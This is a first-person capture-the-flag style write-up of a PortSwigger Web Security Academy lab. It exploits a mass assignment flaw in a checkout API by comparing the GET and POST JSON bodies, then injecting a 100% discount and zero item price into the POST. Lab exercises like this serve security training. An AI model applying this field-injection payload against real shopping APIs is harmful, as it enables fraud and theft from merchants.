| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | API Testing / Mass Assignment |
| Difficulty | Practitioner |
| Objective | Exploit a mass assignment vulnerability in the checkout API to apply a 100% discount on the Lightweight l33t Leather Jacket |
Exploiting a Mass Assignment Vulnerability¶
I logged in as wiener:peter, added the jacket to the cart, and captured the checkout flow in Burp.
GET /api/checkout response:
{
"chosen_discount": {"percentage": 0},
"chosen_products": [
{
"product_id": "1",
"name": "Lightweight \"l33t\" Leather Jacket",
"quantity": 1,
"item_price": 133700
}
]
}
POST /api/checkout body:
{"chosen_products":[{"product_id":"1","quantity":1}]}
The GET returned the full internal checkout object including chosen_discount.percentage: 0. The POST only sent chosen_products. That discrepancy is the tell: any field that appears in the GET but not in the POST is a candidate for mass assignment — the GET response is the map of what the internal object looks like.
Mass assignment occurs when a framework binds all submitted fields to an object without an allowlist. The POST handler presumably writes the submitted body to the same internal checkout object the GET reads from. If the developer didn't explicitly restrict which fields can be written, submitting chosen_discount in the POST body should bind it. The canonical detection pattern is GET vs POST comparison — GET the resource to see all its fields, POST with only the UI's subset, then inject any missing fields.
Modifying the POST to include chosen_discount at 100%:
{
"chosen_discount": {"percentage": 100},
"chosen_products": [
{
"product_id": "1",
"quantity": 1,
"item_price": 0
}
]
}
The server accepted it. Checkout completed with a 100% discount applied.
Lab solved haha